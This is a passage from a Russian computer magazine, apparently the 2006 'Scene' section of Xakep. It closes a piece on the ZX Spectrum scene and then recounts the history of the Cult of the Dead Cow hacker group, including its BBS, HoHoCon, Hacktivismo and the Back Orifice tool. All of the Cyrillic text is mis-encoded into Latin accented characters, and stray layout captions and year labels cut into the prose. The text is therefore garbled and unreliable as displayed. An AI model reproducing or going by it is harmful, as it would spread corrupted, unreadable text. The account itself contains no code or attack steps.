Ïèòåð, Ìîñêâó, Ñàìàðó, Âëàäèâîñòîê, Õàðüêîâ, Áðåñò, Òèðàñïîëü è ìíîãèå äðóãèå. Îáùåå êîëè÷åñòâî åå ïîëüçîâàòåëåé ñîñòàâëÿëî íåñêîëüêî òûñÿ÷ ÷åëîâåê. Ñàìî ñîáîé, ñòàëè îáðàçîâûâàòüñÿ âèðòóàëüíûå ãðóïïû, ó÷àñòíèêè êîòîðûõ îáìåíèâàëèñü èñõîäíèêàìè, ãðàôèêîé è ìóçûêîé.  Ïèòåðå ñåòü îò÷àñòè ñòàëà ïðè÷èíîé çàêðûòèÿ òîðãîâûõ òî÷åê, ãäå ïðîäàâàëèñü äèñêè ñ ïðîãðàììàìè. Çàêðûëñÿ «Ëîãðîñ», èñ÷åç ñïåêòðóìîâñêèé ñîôò ñ Þíîíû, îïóñòåëè ìåñòà ïîñòîÿííûõ òóñîâîê. Íî çàòî â îáèõîä âîøëè òàêèå ñëîâà, êàê «ñèñîïêà» è «ïîèíòîâêà».  íàñòîÿùåå âðåìÿ ZX Net ïîëíîñòüþ ïîääåðæèâàåò FTN-ñòàíäàðòû è èìååò çîíàëüíûé íîìåð 500, à êàæäûé ñïåêòðóìèñò-ñåòåâèê òàêæå ÿâëÿåòñÿ ïîèíòîì FIDO. ÍÎÂÀß ÆÈÇÍÜ ÑÏÅÊÒÐÓÌÀ Êîíåö 90-õ ãîäîâ ñòàë äëÿ ZX-ñöåíû òÿæåëûì èñïûòàíèåì, òàê êàê ìíîãèå ñïåêòðóìèñòû ïåðåøëè íà áîëåå ìîùíûå ìàøèíû. Äëÿ ñåðüåçíîé ðàáîòû òðåáîâàëèñü çíàíèÿ PC, à íå Ñïåêòðóìà, íà ìíîãèõ ïîâëèÿëî îáùåñòâåííîå ìíåíèå, ìîë, êàê ìîæíî ñèäåòü íà 3,5 Ìãö âî âðåìåíà òðåòüåãî êâåéêà? Ðàçâèòèå PC áûëî ñòðåìèòåëüíûì, â òî âðåìÿ êàê â ZX äåíüãè ïðàêòè÷åñêè íèêòî íå âêëàäûâàë, è ïîääåðæèâàëè åãî òîëüêî ýíòóçèàñòû. Ñ äðóãîé ñòîðîíû, ñòàíü Ñïåêòðóì ìàññîâûì êîìïüþòåðîì, êàê ñåãîäíÿ PC, ïîÿâëåíèå áîëüøîãî êîëè÷åñòâà íåãðàìîòíûõ, íè÷åì íå èíòåðåñóþùèõñÿ ïîëüçîâàòåëåé, ëèøèëî áû åãî ãëàâíîãî ïðåèìóùåñòâà — òâîð÷åñêîé èñêðû. Íåñìîòðÿ íè íà ÷òî, Ñïåêòðóì ïîêà íå ñîáèðàåòñÿ óõîäèòü íà ïîêîé, êàê, íàïðèìåð, BK-0010. Ìíîãèå áûâøèå ñïåêòðóìèñòû, ñòàâøèå ñåé÷àñ ïðîãðàììèñòàìè â âåäóùèõ êîìïàíèÿõ, âîçâðàùàþòñÿ è ñíîâà ïèøóò äëÿ ëþáèìîãî êîìïüþòåðà. Íàéòè èõ è ïî÷èòàòü íîñòàëüãè÷åñêèå äèñêóññèè ìîæíî íà ôîðóìå http://zx.pk.ru. Ñóùåñòâóåò îãðîìíîå êîëè÷åñòâî è äðóãèõ ñàéòîâ, ïîñâÿùåííûõ speccy. À öåíòðîâûì ñïåêîâñêèì ðåñóðñîì â ðóíåòå ÿâëÿåòñÿ Virtual TR-DOS (http://trd.speccy.cz), ãäå ìîæíî óçíàòü âñå ïîñëåäíèå íîâîñòè è ñêà÷àòü èçâåñòíûå ðóññêèå äåìêè, èãðû è äèñêìàãè. Åñòü ëþäè, êîòîðûå ïî-ïðåæíåìó íå ñïåøàò ðàññòàâàòüñÿ ñî ñâîèì êîìïüþòåðîì. È äåéñòâèòåëüíî, çà÷åì? Ñïåêòðóì ïîçâîëÿåò ïðîñìàòðèâàòü, íàáèðàòü è ðàñïå÷àòûâàòü òåêñòû, ñëóøàòü ìóçûêó, èãðàòü â èãðû è ðåàëèçîâûâàòü ñâîé òâîð÷åñêèé ïîòåíöèàë. Ìíîãèå ïðîãðàììû, êîòîðûå óñòàíîâëåíû íà êàæäîì PC, èìåþò ñâîè àíàëîãè íà speccy. Æåëåçî òîæå íå ñòîèò íà ìåñòå.  ïîñëåäíåå âðåìÿ çàìåòíî óâåëè÷èëñÿ èíòåðåñ ñïåêòðóìèñòîâ ê ðàçâèòèþ àïïàðàòíûõ âîçìîæíîñòåé Ñïåêòðóìà. Îáúÿñíÿåòñÿ ýòî òåõíè÷åñêîé ãðàìîòíîñòüþ ñîâðåìåííûõ ïîëüçîâàòåëåé ZX: ñåé÷àñ ëþäè ñ òåõíè÷åñêèì îáðàçîâàíèåì ÷àùå ðàáîòàþò ïî ñïåöèàëüíîñòè, â îòëè÷èå îò 90-õ ãîäîâ.  Ìîñêâå ïîäîáíûìè ðàçðàáîòêàìè çàíèìàåòñÿ ãðóïïà NedoPC, âûïóñêàþùàÿ êîìïüþòåð ATM Turbo — ðàçíîâèäíîñòü Ñïåêòðóìà ñî âñòðîåííûì IDE-êîíòðîëëåðîì, êîäèðîâùèêîì RGB ñèãíàëà â PAL (ýòî ïîçâîëÿåò ïîäêëþ÷àòü êîìïüþòåð ê ñîâðåìåííûì òåëåâèçîðàì) è çâóêîâîé êàðòîé Turbo Sound íà áàçå äâóõ ïðîöåññîðîâ Yamaha. ×òî êàñàåòñÿ ôåñòèâàëåé, òî îíè ïðîõîäÿò äîñòàòî÷íî ÷àñòî.  1998 ãîäó íà ñìåíó Enlight’ó â Ìîñêâå ñîñòîÿëñÿ FanTop, à â 1999 ãîäó ïîÿâèëîñü ñðàçó íåñêîëüêî íîâûõ äåìîïàòè: Chaos Constructions, Paradox, CAFe, DiHalt, Millenium. Ïîêà îíè áóäóò ïðîõîäèòü, áóäåò æèâà è ñöåíà. À ïîêà æèâåò ñöåíà, íå óìðåò è Ñïåêòðóì. Âïðî÷åì, ýòîò ìàëåíüêèé òâîð÷åñêèé êîìïüþòåð áóäåò æèòü âå÷íî âî ìíîãèõ ñåðäöàõ. BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06


ÑÖÅÍÀ

ÑÖÅÍÀ ///// ISSUE

GRANMASTER RATTE

80-Å

THE BEGINNING

1984

COWS

LONG 80

1988

Êåâèí áûë îäíèì èç òåõ ïîäðîñòêîâ, êîòîðûå ðîñëè íà 8-áèòíûõ ïåðñîíàëüíûõ êîìïüþòåðàõ òèïà Atari 2600s, à ñàìûì ïîâîðîòíûì ñîáûòèåì â ñâîåé æèçíè ñ÷èòàëè ôèëüì «Âîåííûå èãðû». Äíåì îí îòïðàâëÿëñÿ â øêîëó è ñ íåòåðïåíèåì æäàë ïîñëåäíåãî çâîíêà, ÷òîáû äîáðàòüñÿ äîìîé è çàïóñòèòü íîâóþ âèäåîèãðó. Êåâèíó ïîâåçëî áîëüøå, ÷åì îñòàëüíûì ðîâåñíèêàì. Åãî îòåö ðàáîòàë â êîìïüþòåðíîé îáëàñòè è êóïèë äëÿ ñûíà ìîäíûé Apple II, à â îäèí ïðåêðàñíûé äåíü ïðèíåñ ñ ðàáîòû ìîäåì. Ñ ýòîãî ìîìåíòà ïàðåíü ñ ãîëîâîé îêóíóëñÿ â ìèð BBS, äîçâàíèâàÿñü ïî íî÷àì íà ñòàíöèè, ðàñêèäàííûå ïî âñåé ñòðàíå. Èõ âëàäåëüöàìè áûëè òàêèå æå êîìïüþòåðíûå ôàíàòû, êàê îí. Îáìåíèâàòüñÿ ñ íèìè ñîîáùåíèÿìè, êà÷àòü ñâåæèé ñîôò áûëî äëÿ íåãî ñàìûì èíòåðåñíûì. Öåííîé èíôîðìàöèåé ñ÷èòàëèñü îïèñàíèÿ òðþêîâ, ïîçâîëÿþùèõ îáìàíûâàòü òåëåôîííûå ñåòè è çàëåçàòü â êîìïüþòåðíûå ñèñòåìû, ïîýòîìó îí ñîáðàë êàê ìîæíî áîëüøå òàêèõ òåêñòîâ è âíèìàòåëüíî èçó÷èë è îïðîáîâàë íà ïðàêòèêå êàæäûé.

 1984 ãîäó Êåâèí óæå èìåë ïñåâäîíèì Grandmaster Ratte è ñîáñòâåííóþ BBS ïîä íàçâàíèåì Demon Roach Underground. Ó íåãî òàêæå ïîÿâèëîñü ìíîãî íîâûõ äðóçåé ñðåäè îáèòàòåëåé àíäåãðàóíäîâûõ áîðä. Ìûñëü î òîì, ÷òî ëþáîé ìîæåò íàïèñàòü òåêñò è ðàñïðîñòðàíèòü åãî ïî ýëåêòðîííûì äîñêàì, âïå÷àòëÿëà 14-ëåòíåãî ïàðåíüêà.  åãî ãîëîâå ïîñòîÿííî ðîèëàñü êó÷à ìûñëåé, êîòîðûå íàõîäèëè âûõîä íà áóìàãå, è îí äàæå ïîäóìûâàë âûïóñêàòü ñâîþ ãàçåòó. Íî ìàêñèìóì, íà ÷òî åìó ìîãëî õâàòèòü äåíåã — ýòî 50 êîïèé, êîòîðûå ïðèøëîñü áû áóêâàëüíî âñó÷èòü çíàêîìûì è êîòîðûå, ñêîðåå âñåãî, íàøëè áû ñâîé ïîñëåäíèé ïðèþò íà äíå ìóñîðíîãî âåäðà.  òî æå âðåìÿ ê ýëåêòðîííûì ñòàòüÿì áûëî ñîâñåì äðóãîå îòíîøåíèå. Îíè áûëè ðåäêîñòüþ, ê òîìó æå äëÿ èõ ðàñïðîñòðàíåíèÿ íå íóæíî áûëî òðàòèòü íè êîïåéêè. Òàê ÷òî ïåðâîå, ÷òî ñäåëàë Êåâèí ïîñëå òîãî, êàê îòêðûë áîðäó, — íà÷àë íàïîëíÿòü åå, ïîìèìî ïðî÷åãî âàðåçà, ñâîèìè òåêñòàìè î êîìïüþòåðàõ, ìóçûêå, BMX, êíèãàõ è ò.ï.

Demon Roach Underground BBS áûëà äîñòóïíîé íå äëÿ âñåõ. Êîãäà þçåð ëîãèíèëñÿ â ñèñòåìó, îò íåãî òðåáîâàëîñü ââåñòè ïàðîëü (VOID), î êîòîðîì çíàëè íåìíîãèå. Ñàìûìè ÷àñòûìè ïîñåòèòåëÿìè áîðäû áûëè Franken Gibe è Sid Vicious, ñèñîïû äâóõ äðóãèõ ïîïóëÿðíûõ àíäåãðàóíäîâûõ BBS è ðèàëëàéôîâûå ïðèÿòåëè Êåâèíà. Îíè âìåñòå æèëè â ìàëåíüêîì òåõàññêîì ãîðîäèøêå Ëàááîê, îêðóæåííîì ñî âñåõ ñòîðîí ïîëÿìè õëîïêà, ãäå åäèíñòâåííîé äîñòîïðèìå÷àòåëüíîñòüþ áûë Òåõíè÷åñêèé Óíèâåðñèòåò. Îíè ïåðèîäè÷åñêè âñòðå÷àëèñü íà ñêîòîáîéíå îäíîé èç ìåñòíûõ ôåðì, ÷òîáû ïîáîëòàòü íà êîìïüþòåðíûå òåìû, îáñóäèòü íîâûå õàêåðñêèå òðþêè, ñâåæèé âàðåç, ñòàòüè. Îäíàæäû â ïðîöåññå îáùåíèÿ ïàðíè ðåøèëè, ÷òî áûëî áû íåïëîõî îáúåäèíèòüñÿ â ãðóïïó. Íî áûòü î÷åðåäíîé õàêòèìîé ñ íàçâàíèåì â äóõå Dark Strangers èì íå õîòåëîñü, ïîòîìó ÷òî íóæíî áûëî ïðèäóìàòü ÷òî-òî îñîáåííîå. Òàê êàê âîêðóã áûëî ïîëíî êîðîâ, íàçâàíèå ïîÿâèëîñü ñàìî — Cult of the Dead Cow.*

Íà ïðîòÿæåíèå 80-õ ãîäîâ cDc ïðèíèìàëà àêòèâíîå ó÷àñòèå â æèçíè BBS community, à Demon Roach Underground ñòàëà îäíîé èç ñàìûõ ïîñåùàåìûõ õàêåðàìè áîðä. Ratte è åãî äðóçüÿ âûïóñêàëè t-files (ýëåêòðîííûå ñòàòüè) ñ çàâèäíîé ïåðèîäè÷íîñòüþ, âñå îíè øëè ïîä ëåéáëîì cDc communications e-zine. Êîãäà ôàéëîâ ñòàëî ìíîãî, Êåâèí ïðèíÿëñÿ èõ íóìåðîâàòü. Ýòè òåêñòîâêè, íåñìîòðÿ íà òî, ÷òî èõ òåìû ÷àñòî áûëè äàëåêè îò êîìïüþòåðîâ, ïîëüçîâàëèñü îãðîìíîé ïîïóëÿðíîñòüþ è èõ ïåðåäàâàëè èç ðóê â ðóêè, êàê íàñòîÿùèå ñîêðîâèùà. À âìåñòå ñ íèìè ðîñëà è ñëàâà Êóëüòà. Ïîñòåïåííî â ãðóïïó ïðèõîäèëè íîâûå ëþäè, ñðåäè êîòîðûõ áûëè óæå èçâåñòíûå â õàêñöåíå ëè÷íîñòè: White Knight, Drunkfux, G.A. Ellsworth. Ê êîíöó 80-õ êîëè÷åñòâî ìåìáåðîâ äîñòèãëî 50. Ratte, êîòîðûé áûë íåãëàñíûì ëèäåðîì cDc, íèêîãäà íå óñòàíàâëèâàë ïðàâèëà è ïðèîðèòåòû. Êàæäûé â ãðóïïå çàíèìàëñÿ òåì, ÷òî åìó áûëî èíòåðåñíî, à îáùàëèñü âñå ÷åðåç ïðèâàòíûå ñîîáùåíèÿ íà Demon Roach.

 88-ì ãîäó, êîãäà Cult of the Dead Cow óæå ñ÷èòàëàñü â àíäåãðàóíäå êóëüòîâîé ãðóïïîé, Êåâèí ðåøèë, ÷òî ïîðà çàÿâèòü î ñåáå âñåìó ìèðó. Ïðåññà â ýòî âðåìÿ êàê ðàç áûëà î÷åíü çàèíòåðåñîâàíà èñòîðèÿìè î òàèíñòâåííûõ õàêåðàõ, êîòîðûå ïðîíèêàþò â ñàìûå çàùèùåííûå ñèñòåìû è ñïîñîáíû ÷óòü ëè íå óïðàâëÿòü êîñìè÷åñêèìè êîðàáëÿìè NASA. Ratte èçó÷èë âñå æóðíàëû, êîòîðûå ñìîã äîñòàòü, ñîáèðàÿ åìåéëû ðåäàêöèé è âûñûëàÿ íà íèõ ïðåññ-ðåëèç ñâîåé ãðóïïû.  ïîñëåäóþùèå ãîäû cDc ïðèíèìàëà àêòèâíîå ó÷àñòèå â îáðàçîâàíèè øèðîêèõ ìàññ ïî ïîâîäó õàêåðñòâà è õàêåðñêîé ôèëîñîôèè, ïóáëèêóÿ ìàòåðèàëû íà ýòó òåìó è ðàçäàâàÿ ìíîãî÷èñëåííûå èíòåðâüþ.

îñíîâàòåëü cDc Grandmaster Ratte

HACKTIVISMO

1996  1996 ãîäó íà îäíîì èç àíäåãðàóíäîâûõ IRC-êàíàëîâ ñîñòîÿëàñü äèñêóññèÿ î âëèÿíèè õàêåðñòâà íà ñîöèàëüíóþ è ïîëèòè÷åñêóþ æèçíü. Îäèí èç åå ó÷àñòíèêîâ — õàêåð èç cDc Omega — âûñêàçàë ìíåíèå, ÷òî ãðàìîòíî íàïèñàííûé ïðîãðàììíûé êîä ñïîñîáåí ïîâëèÿòü íà òîëïû ëþäåé è äîíåñòè èì ëþáóþ àâòîðñêóþ ìûñëü. Ýòà ôèëîñîôèÿ ñ ëåãêîé ðóêè Omega ïîëó÷èëà íàçâàíèå Hacktivism è âñêîðå ñòàëà ïðîäâèãàòüñÿ â ìàññû ÷ëåíàìè Êóëüòà.  êà÷åñòâå íàãëÿäíîãî ïðèìåðà Õàêòèâèçìà âûñòóïèë ïðîåêò Freenet, ïîçâîëÿþùèé ñâîèì ó÷àñòíèêàì àíîíèìíî ïóáëèêîâàòü èíôîðìàöèþ ëþáîãî ñîäåðæàíèÿ, êîòîðàÿ õðàíèëàñü â áàçå è ìîãëà áûòü ïðî÷èòàíà äðóãèìè. «Òàêèì îáðàçîì, àâòîð ïðîåêòà ÷åðåç ïðîãðàììèðîâàíèå ãîâîðèò, ÷òî êàæäûé èìååò ïðàâî ñâîáîäíî âûðàæàòü ìûñëè».

090

1998

90-TH

1999

2003

29 äåêàáðÿ 1998 ãîäà õàêåðñêàÿ ãðóïïà Legions of Underground îáúÿâèëà êèáåðâîéíó Èðàêó è Êèòàþ, íàìåðåâàÿñü íàêàçàòü ýòè ñòðàíû, ðàçðóøèâ èõ êîìïüþòåðíûå ñèñòåìû. Ñîáûòèå ïðîøëî íåçàìå÷åííûì ñðåäè ïðîñòûõ ëþäåé, íî âûçâàëî áîëüøîé àæèîòàæ â õàêåðñêîì ñîîáùåñòâå. 7 ÿíâàðÿ 1999 ãîäà ãðóïïà Cult of the Dead Cow, êîìïüþòåðíûé êëóá Õàîñà, æóðíàëû 2600 è Phrack, à òàêæå security-ôèðìà L0pht ïóáëè÷íî îñóäèëè LoU è ïîòðåáîâàëè ïðåêðàòèòü íàïàäêè.  òå÷åíèå íåñêîëüêèõ äíåé äåêëàðàöèÿ î âîéíå áûëà ñíÿòà, ÷òî ïîêàçàëî, íàñêîëüêî âëèÿòåëüíûì ìîæåò áûòü Õàêòèâèñòñêîå äâèæåíèå.

 êîíöå 90-õ ãîäîâ ïîñëåäîâàòåëè ôèëîñîôèè ïðîâåëè ðÿä âçëîìîâ â çíàê ïðîòåñòà. Ñðåäè öåëåé õàêåðîâ îêàçàëèñü êîìïüþòåðû èíäèéñêîãî Àòîìíîãî Èññëåäîâàòåëüñêîãî öåíòðà, ïðîâîäÿùåãî òåñòèðîâàíèÿ ÿäåðíîãî îðóæèÿ. Âçëîìùèê Bronc Buster îòêëþ÷èë ôàéðâîëû êèòàéñêèõ ïðîâàéäåðîâ, îòêðûâàÿ êèòàéñêèì þçåðàì ñâîáîäíûé äîñòóï â Ñåòü, áåç óñòàíîâëåííûõ ïðàâèòåëüñòâîì îãðàíè÷åíèé.

 1999 ãîäó Cult of the Dead Cow îñíîâàëà Hacktivismo — ñâîå ïîäðàçäåëåíèå, ïðèçâàííîå áîðîòüñÿ çà ïðàâî ñâîáîäíîãî äîñòóïà ê èíôîðìàöèè. Ôèëîñîôèÿ Õàêòèâèçìî, ïî ñóòè, ïåðåíîñèò îáû÷íóþ äåêëàðàöèþ ïðàâ ÷åëîâåêà íà Èíòåðíåò.  2002 ãîäó åãî ó÷àñòíèêè ïðåäñòàâèëè ñâîé ïåðâûé ïðîåêò Camera/Shy — óòèëèòó, íàõîäÿùóþ â Èíòåðíåòå è ðàñøèôðîâûâàþùóþ èçîáðàæåíèÿ ñî ñêðûòûì êîíòåíòîì. Ñëåäóþùèì ðåëèçîì ñòàë íîâûé ñåêóðíûé p2p ïðîòîêîë Six/Four, äàþùèé àíîíèìíûé äîñòóï ê ëþáûì ñåòåâûì ðåñóðñàì.

 2003 ãîäó ýòà ñèñòåìà ïîëó÷èëà îôèöèàëüíîå îäîáðåíèå îò Äåïàðòàìåíòà Êîììåðöèè ÑØÀ, ÷òî âûçâàëî îïÿòü æå ìíîãî øóìèõè âîêðóã èçâåñòíîãî ëåéáëà. Çà 20 ëåò äåâèç cDc íå èçìåíèëñÿ: ãðóïïà ïî-ïðåæíåìó èñïîëüçóåò êîìïüþòåðû è ñåòè äëÿ äîíåñåíèÿ ìèðó ñâîèõ ìûñëåé, íî íå ñòàâèò òåõíîëîãèè âî ãëàâå âñåãî. Îñíîâàòåëü ãðóïïû è åå ñòàðåéøèé ìåìáåð Grandmaster Ratte áåç ñòåñíåíèÿ ïðèçíàåòñÿ æóðíàëèñòàì, ÷òî íèêîãäà íå áûë õàêåðîì â ïðÿìîì ñìûñëå ýòîãî ñëîâà, è íàïèñàíèå ìóçûêè èíòåðåñóåò åãî íàìíîãî áîëüøå, ÷åì êîìïüþòåðû. Íî ýòî íå ìåøàåò åìó ïðèíèìàòü àêòèâíîå ó÷àñòèå â æèçíè êîìïüþòåðíîãî àíäåãðàóíäà è âëèÿòü íà åãî ðàçâèòèå íå ìåíüøå, ÷åì ñàìûå ïðîäâèíóòûå ñïåöû.  îäíîì èç èíòåðâüþ Êåâèíó çàäàëè âîïðîñ: «Êàêèå ó íåãî ïëàíû íà áóäóùåå îòíîñèòåëüíî Cult of the Dead Cow?» «Ìèðîâîå ãîñïîäñòâî», — îòâåòèë îí.

Syr Dystic, àâòîð

îôèöèàëüíûé ñàéò ãðóïïû

Back Orifice

www.cultdeadcow.com

ÿâíî õàêåðñêèé êîìï

XÀÊÅÐ 02 /86/ 06


90-Å

BACK ORIFICE

1990

HOHOCON

1993

1998

TROJAN

 äåêàáðå 1990 ãîäà ìåìáåð cDc Drunkfix âûñòóïèë îðãàíèçàòîðîì îäíîé èç ñàìûõ ïåðâûõ õàêåðñêèõ êîíôåðåíöèé HoHoCon. Ïðîõîäèëà îíà â Õüþñòîíå, øòàò Òåõàñ, è ïðèãëàøåíèÿ áûëè îòïðàâëåíû íå òîëüêî ñöåíå è ïðåññå, íî äàæå ôåäåðàëüíûì ñîòðóäíèêàì (â ñëåäóþùåì ãîäó æóðíàë Sassy íàçâàë Cult of the Dead Cow ñàìîé äåðçêîé ãðóïïîé â êîìïüþòåðíîì àíäåãðàóíäå). Íåñìîòðÿ íà ýòî, HoHoCon ñîáðàëà ëèøü íåñêîëüêî ÷åëîâåê, óæå çíàêîìûõ äðóã ñ äðóãîì. Ñëåäóþùåå ïàòè, êîòîðîå ïðîøëî ñ 27 ïî 29 äåêàáðÿ 1991 ãîäà îêàçàëîñü áîëåå óñïåøíûì è îðãàíèçîâàííûì. Ïîó÷àñòâîâàòü â HoHoCon’91 ïðèåõàëî áîëåå 80 õàêåðîâ è ïðîñòî êîìïüþòåðùèêîâ èç ðàçíûõ óãîëêîâ ÑØÀ.

Ïðîõîäèëî ìåðîïðèÿòèå â ãîñòèíèöå ðÿäîì ñ àýðîïîðòîì Õèëòîí. Îðãàíèçàòîðû àðåíäîâàëè êîíôåðåíö-çàë, òàê ÷òî ëþáîé æåëàþùèé ìîã âûñòóïèòü ñ ëåêöèåé íà ëþáóþ òåìó. Ñðåäè ïî÷åòíûõ ãîñòåé ïàòè áûëè òàêèå èçâåñòíûå ïèñàòåëè, êàê Áðþñ Ñòåðëèíã, Îñòèí Áðàí÷, ïðåäñòàâèòåëü Electronic Frontiers Foundation, ðåäàêòîðû æóðíàëà Phrack è ÷ëåíû ëåãåíäàðíîé õàêòèìû Legion of Doom. HoHoCon ñòàë åæåãîäíûì õàêïàòè è ïðîõîäèë ïðè ïîääåðæêå ðåäàêöèè Phrack âïëîòü äî 1994 ãîäà. Êîãäà õàêåðñêèå âñòðå÷è ñòàëè ïðîâîäèòñÿ â äðóãèõ ãîðîäàõ, cDc ñòàëà â íèõ ïîñòîÿííûì ó÷àñòíèêîì, áóäü òî êðóïíàÿ êîíôåðåíöèÿ òèïà Defcon èëè ëîêàëüíàÿ ïîïîéêà. ×ëåíû ãðóïïû ëþáèëè ïîÿâëÿòüñÿ íà õàêåðñêèõ òóñîâêàõ â ýêçîòè÷åñêèõ êîñòþìàõ, îðãàíèçîâûâàÿ þìîðèñòè÷åñêèå øîó íà êîìïüþòåðíóþ òåìàòèêó. Ïîñêîëüêó â Êóëüòå áûëî ìíîãî êîìïüþòåðíûõ ñïåöèàëèñòîâ âûñîêîãî óðîâíÿ (äàëåêèõ îò êîìïüþòåðîâ ëþäåé òàì òîæå áûëî íåìàëî), îíè ïîñòîÿííî âûñòóïàëè ñ ëåêöèÿìè î áåçîïàñíîñòè èëè ïðîäîëæàëè ïðîäâèãàòü õàêåðñêóþ ôèëîñîôèþ.

 1993 ãîäó Drunkfix ñîçäàë â Ñåòè ñòðàíè÷êó, êîòîðàÿ ñòàëà ïåðâûì îôèöèàëüíûì ñàéòîì cDc. Ê ýòîìó âðåìåíè ãðóïïà âûðîñëà èç BBS è ñòàëà ïîòèõîíüêó ïåðåáèðàòüñÿ â Èíòåðíåò. Ratte ïðîäîëæèë äåðæàòü ïîñòîÿííóþ ñâÿçü ñ ïðåññîé, ïîïîëíÿÿ ñâîþ êîëëåêöèþ ðåäàêöèîííûõ åìåéëîâ, îáçàâîäÿñü íîâûìè ñâÿçÿìè è ñòàðàÿñü, ÷òîáû íàçâàíèå ãðóïïû íå ñõîäèëî ñî ñòðàíèö æóðíàëîâ.

1 Àâãóñòà 1998 ãîäà íà êîíôåðåíöèè Defcon 6-îé ÷ëåí Cult of the Dead Cow Sir Dystic ïðåäñòàâèë óòèëèòó ïîä íàçâàíèåì Back Orifice. Ïðîãà ðàáîòàëà ïî ïðèíöèïó êëèåíò-ñåðâåð è ïîçâîëÿëà óäàëåííî óïðàâëÿòü êîìïüþòåðîì, íà êîòîðîì óñòàíîâëåíà ñåðâåðíàÿ ÷àñòü. Êàê ñîîáùèë àâòîð, ïðîåêò áûë çàäóìàí äëÿ òîãî, ÷òîáû ïðîäåìîíñòðèðîâàòü, íàñêîëüêî óÿçâèìà îïåðàöèîííàÿ ñèñòåìà MS Windows. Íåñìîòðÿ íà òî, ÷òî óòèëèòà ïîçèöèîíèðîâàëàñü êàê èíñòðóìåíò ñåòåâîãî àäìèíèñòðàòîðà, âñåì ñòàëî î÷åâèäíî, ÷òî BO ìîæíî èñïîëüçîâàòü ñ ñîâåðøåííî äðóãîé öåëüþ. Ñ ïîìîùüþ ïðîñòåíüêîãî òðîÿíà õàêåð ìîã çàïðîñòî óñòàíîâèòü ñåðâåð íà êîìïüþòåðå íè÷åãî íå ïîäîçðåâàþùåãî þçåðà, à çàòåì, ïîäêëþ÷èâøèñü êëèåíòîì, äåëàòü ñ åãî ìàøèíîé âñå ÷òî óãîäíî. Ïðè÷åì íå íóæíî áûëî ðàçáèðàòüñÿ â êîìàíäàõ, òàê êàê ãðàôè÷åñêèé UI ïîçâîëÿë âñå ïðîäåëûâàòü áóêâàëüíî îäíèì íàæàòèåì êíîïî÷êè. Åùå áîëåå ïîïóëÿðíîé ïðîãðàììà ñòàëà ñ âûõîäîì â ñëåäóþùåì ãîäó íîâîé âåðñèè Back Orifice 2000, êîòîðàÿ, ïîìèìî Win95 è Win98, ïîääåðæèâàëà Windows NT è èìåëà îòêðûòûé êîä.

Áëàãîäàðÿ ïðåññå âîêðóã òâîðåíèÿ cDc ïîäíÿëàñü îãðîìíàÿ øóìèõà. Microsoft ïðîêîììåíòèðîâàëà, ÷òî ïðîãðàììà íå ÿâëÿåòñÿ ïðÿìîé óãðîçîé äëÿ åå îïåðàöèîííîé ñèñòåìû, à ÷òîáû õàêåð ïðîíèê íà êîìïüþòåð, íóæíî åùå óñòàíîâèòü ýòîò ñàìûé ñåðâåð. Òåì íå ìåíåå, ïîñëå ðåëèçà BO àíòèâèðóñíûå êîìïàíèè êëàññèôèöèðîâàëè åãî êàê òðîÿí è âûïóñòèëè îáíîâëåíèÿ ñ çàùèòîé. Òåìà «Òðîÿí èëè óòèëèòà äëÿ àäìèíîâ?» äîëãîå âðåìÿ áóðíî îáñóæäàëàñü íà õàêåðñêèõ ôîðóìàõ è åùå áîëüøå ïðîñëàâèëà ãðóïïó.

ìàëåíüêèé òåõàññêèé ãîðîäîê Ëàááîê

îðãàíèçàòîð HoHocon Drunkfux

ëîãîòèï Hacktivismo

*

Òàì æå ñôîðìèðîâàëàñü è îñíîâíàÿ êîíöåïöèÿ, êîòîðàÿ îñòàâàëàñü äåâèçîì ãðóïïû íà ïðîòÿæåíèå ïîñëåäóþùèõ 20 ëåò: «Ãëàâíîå — íå òåõíîëîãèè, òàê êàê îíè ëèøü ñïîñîá, ÷òîáû äàòü òåáå òî, ÷òî òû õî÷åøü íà ñàìîì äåëå».

ÈÑÒÎÐÈß ÃÐÓÏÏÛ CULT OF THE DEAD COW “

 ÑÅÐÅÄÈÍÅ 80-Õ ÃÎÄΠÀÌÅÐÈÊÀÍÑÊÈÉ ÊÎÌÏÜÞÒÅÐÍÛÉ ÀÍÄÅÃÐÀÓÍÄ ÑÎÑÒÎßË ÈÇ ÑÎÒÅÍ ÐÀÇÍÛÕ ÃÐÓÏÏ. ÎÒ ÁÎËÜØÈÕ È ÊÓËÜÒÎÂÛÕ, ÒÈÏÀ LEGION OF DOOM, ÄÎ ÌÀËÅÍÜÊÈÕ È ÌÀËÎÈÇÂÅÑÒÍÛÕ, ÍÀÇÂÀÍÈÅ ÊÎÒÎÐÛÕ ÒÛ ÌÎÆÅØÜ ÏÐÈÄÓÌÀÒÜ ÑÀÌ. ÍÎ ÈÇ ÍÈÕ ÂÑÅÕ ÒÎËÜÊÎ ÎÄÍÀ ÏÐÎØËÀ ×ÅÐÅÇ ÂÑÅ ÝÒÀÏÛ ÐÀÇÂÈÒÈß ÑÖÅÍÛ, ÏÅÐÅÆÈËÀ ÀÍÒÈÕÀÊÅÐÑÊÈÅ ÐÅÉÄÛ È ÏÐÎÖÂÅÒÀÅÒ ÄÎ ÑÈÕ ÏÎÐ. ÑÀÌÀß ÏÓÁËÈ×ÍÀß, ÑÀÌÀß ÈÇÂÅÑÒÍÀß Â ÌÈÐÅ ÕÀÊÃÐÓÏÏÀ — CULT OF THE DEAD COW

TEXT MINDW0RK / MINDW0RK@GAMELAND.RU /

XÀÊÅÐ 02 /86/ 06

091


ÑÖÅÍÀ ÑÖÅÍÀ ///// ISSUE

TEXT MINDW0RK / MINDW0RK@GAMELAND.RU /

